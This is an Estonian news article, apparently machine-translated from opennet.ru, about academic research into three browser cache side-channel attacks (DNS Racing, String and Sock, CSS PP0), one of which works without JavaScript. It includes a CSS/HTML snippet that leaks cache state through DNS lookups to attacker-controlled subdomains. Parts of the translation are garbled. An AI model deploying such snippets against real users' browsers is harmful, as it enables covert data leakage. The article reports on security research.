CPU vahemĂ€luandmete vĂ€ljavĂ”tmise rĂŒnnak, mis toimub veebibrauseris ilma JavaScriptita

RĂŒhm teadlasi mitmest Ameerika, Iisraeli ja Austraalia ĂŒlikoolist on vĂ€lja töötanud kolm veebibrauserites toimivat rĂŒnnakut, et saada teavet protsessorivahendite vahemĂ€lu sisu kohta. Üks meetod töötab brauserites ilma JavaScriptita, samas kui kaks muud meetodit ĂŒletavad olemasolevaid kaitsemeetmeid vĂ€lkanalite rĂŒnnakute eest, sealhulgas neid, mida kasutatakse Tor-brauseris ja DeterFoxis. RĂŒnnakute demonstreerimiseks mĂ”eldud kood ja vajalikud serverikomponendid on avaldatud GitHubis.

KĂ”ikide rĂŒnnakute puhul kasutatakse vahemĂ€lu sisu analĂŒĂŒsimiseks Prime+Probe meetodit, mis hĂ”lmab vahemĂ€lu tĂ€itmist standardsete vÀÀrtuste kogumiga ning muutuste mÀÀramist, mÔÔtes juurdepÀÀsu aega nende uuesti tĂ€itmisel. Brauserites esinevate kaitsemehhanismide ĂŒletamiseks, mis takistavad tĂ€pset aega mÔÔtmist, toimub kahes variandis pöördumine rĂŒndaja kontrolli all oleva DNS- vĂ”i WebSocket-serveri poole, kus logitakse pĂ€ringute vastuvĂ”tu aega. Ühes variandis kasutatakse fikseeritud DNS-vastuse aega ajastandardi alusena.

VĂ€liste DNS- vĂ”i WebSocket-serverite kaasamisega lĂ€bi viidud mÔÔtmised, kasutades masinĂ”ppel pĂ”hinevat klassifitseerimissĂŒsteemi, osutusid piisavateks, et prognoosida vÀÀrtusi tĂ€psusega kuni 98% kĂ”ige optimaalsemas stsenaariumis (keskmiselt 80-90%). RĂŒnnakumeetodeid testiti erinevates riistvaraplatvormides (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ja need nĂ€itasid end universaalsetena.

CPU vahemĂ€luandmete vĂ€ljavĂ”tmise rĂŒnnak, mis toimub veebibrauseris ilma JavaScriptita

RĂŒnnaku esimeses variandis „DNS Racing“ kasutatakse klassikalist Prime+Probe meetodi rakendust, mis pĂ”hineb JavaScripti massiividel. Erinevused on seotud vĂ€lise DNS-pĂ”hise taimeri ja onerror töötleja kasutamisega, mis aktiveerub pildi laadimise katses mitteeksisteerivast domeenist. VĂ€line taimer vĂ”imaldab lĂ€bi viia Prime+Probe rĂŒnnaku brauserites, mis piiravad vĂ”i tĂ€ielikult keelavad ligipÀÀsu JavaScripti taimeritele.

Ethernet-vĂ”rgus hostitud DNS-serveri ajastus on umbes 2 ms, mis on piisav, et teostada rĂŒnnakuid kolmandate osapoolte kanalite kaudu (vĂ”rdluseks, Tor Brauseri vaikimisi JavaScripti ajastuse tĂ€psus on langetatud 100 ms-ni). DNS-serveri rĂŒndamiseks pole vajalik selle ĂŒle kontrolli omamine, kuna toimingu tĂ€itmise aeg on kohandatud nii, et DNS-i vastuse aeg indikeerib varem lĂ”ppenud kontrolle (sĂ”ltuvalt sellest, kas on töötanud onerror töötleja varem vĂ”i hiljem, jĂ€reldatakse kontrollimise operatsiooni kiirusest, mis teostati vahemĂ€luga).

Teine rĂŒndemeetod "String and Sock" pĂŒĂŒab ringitada kaitsemeetodeid, mis piiravad madala taseme massiivide kasutamist JavaScriptis. Selle asemel, et kasutada massiive, kasutatakse "String and Sock" vĂ€ga suurte STRING-operatsioonide teostamiseks, mille suurus on valitud nii, et muutuja kataks kogu LLC (viimane tasandi vahemĂ€lu). JĂ€rgmine etapp on kasutada funktsiooni indexOf() stringis, et otsida vĂ€ikest alamstringi, mida algselt ei leidu algses stringis, st otsinguprotsess lĂ€bi skaneerib terve stringi. Kuna stringi suurus vastab LLC vahemĂ€lu suurusele, vĂ”imaldab skaneerimine teostada vahemĂ€lu kontrollimise operatsiooni ilma massiividega manipuleerimata. Viivituste mÔÔtmiseks kasutab DNS-i asemel rĂŒndaja kontrollitud WebSocket-serveri kutseid — enne ja pĂ€rast stringi otsingu operatsiooni saatke pĂ€ringud, mille pĂ”hjal arvutatakse. serveril viivitus, mida kasutatakse vahemĂ€lu sisu analĂŒĂŒsimiseks.

Kolmas rĂŒnnakuvĂ”imalus «CSS PP0» on teostatud HTML-i ja CSS-i kaudu ning vĂ”ib töötada brauserites, kus JavaScript on keelatud. Meetod sarnaneb «String and Sock» tehnoloogiale, kuid ei sĂ”ltu JavaScriptist. RĂŒnnaku kĂ€igus luuakse hulk CSS-valijaid, mis teostavad patsiivi otsingu. Algne suur string, mis tĂ€idab vahemĂ€lu, mÀÀratakse div-elementi loomise kaudu, millel on vĂ€ga pikk klassinimi. Selle sisse paigutatakse hulk teisi div-e koos oma identifikaatoritega. IgaĂŒhel neist sisemistest div-eest on mÀÀratud oma stiil koos valijaga, mis teostab allstringi otsingut. Lehe joonistamisel pĂŒĂŒab brauser alguses töödelda sisemisi div-e, mis viib suure stringi otsinguprotseduuri kĂ€ivitamiseni. Otsing viiakse lĂ€bi eelnevalt mittetĂ€ieliku patsiivi alusel, mis toob kaasa kogu stringi lĂ€bivaatamise ja kĂ€ivitab seejĂ€rel tingimuse «not», mis toob kaasa katse laadida tausta pilti, mis viitab juhuslikele domeene: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»ŃŃ‚Ń€ĐŸĐșа," Ń€Đ°Đ·ĐŒĐ”Ń€ĐŸĐŒ ĐŸĐșĐŸĐ»ĐŸ ĐŒĐ”ĐłĐ°Đ±Đ°Đčта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Alamdomeenid teenindatakse rĂŒndaja DNS-serveris, mis suudab mÔÔta pĂ€ringute vastuvĂ”tmise viivitusi. KĂ”igile pĂ€ringutele DNS-server annab NXDOMAIN-i ja peab tĂ€pset logi pĂ€ringute ajast. Div-elementide komplekti töötlemise tulemusena jĂ”uab rĂŒndaja DNS-serverisse rida pĂ€ringute, mille viivitused korreleeruvad vahemĂ€lu sisu kontrollimise tulemusega.

CPU vahemĂ€luandmete vĂ€ljavĂ”tmise rĂŒnnak, mis toimub veebibrauseris ilma JavaScriptita


Allikas: opennet.ru
Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster